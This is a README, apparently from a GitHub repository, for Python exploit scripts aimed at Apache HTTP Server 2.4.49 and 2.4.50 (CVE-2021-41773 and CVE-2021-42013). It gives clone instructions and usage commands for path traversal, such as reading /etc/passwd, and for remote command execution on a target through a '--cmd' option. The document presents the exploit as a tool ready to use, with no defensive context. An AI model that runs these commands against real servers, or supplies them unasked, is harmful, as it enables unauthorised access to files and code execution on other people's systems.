Apache-CVEs

Exploit creato in python3 per sfruttare vulnerabilità note nel server web Apache (CVE-2021-41773, CVE-2021-42013)

Cos'è Apache

Il progetto Apache HTTP Server è un'iniziativa per sviluppare e mantenere un server HTTP open-source per sistemi operativi moderni, inclusi UNIX e Windows. L'obiettivo di questo progetto è fornire un server sicuro, efficiente ed estensibile che eroghi servizi HTTP in linea con gli standard HTTP attuali.

Versioni Vulnerabili

• CVE-2021-41773 -> 2.4.49
• CVE-2021-42013 -> 2.4.50

Come installare

Basta fare un git clone:

git clone https://github.com/0xGabe/Apache-CVEs

CVE-2021-41773

Come usare

Path traversal

Per leggere il file desiderato, basta passare il percorso del file; se l'utente non ha i permessi di lettura, non ci sarà alcun risultato di lettura.

python3 cve-2021-41773.py --url http://HOST:PORT --path /etc/passwd

Esecuzione di comandi remoti

Per eseguire comandi con spazi, caratteri speciali o simili sulla macchina target, è necessario passare il comando tra virgolette.

python3 cve-2021-41773.py --url http://HOST:PORT --cmd id

CVE-2021-42013

Come usare

Path traversal

Per leggere il file desiderato, basta passare il percorso del file; se l'utente non ha i permessi di lettura, non ci sarà alcun risultato di lettura.

python3 cve-2021-42013.py --url http://HOST:PORT --path /etc/passwd

Esecuzione di comandi remoti

Per eseguire comandi con spazi, caratteri speciali o simili sulla macchina target, è necessario passare il comando tra virgolette.

python3 cve-2021-42013.py --url http://HOST:PORT --cmd id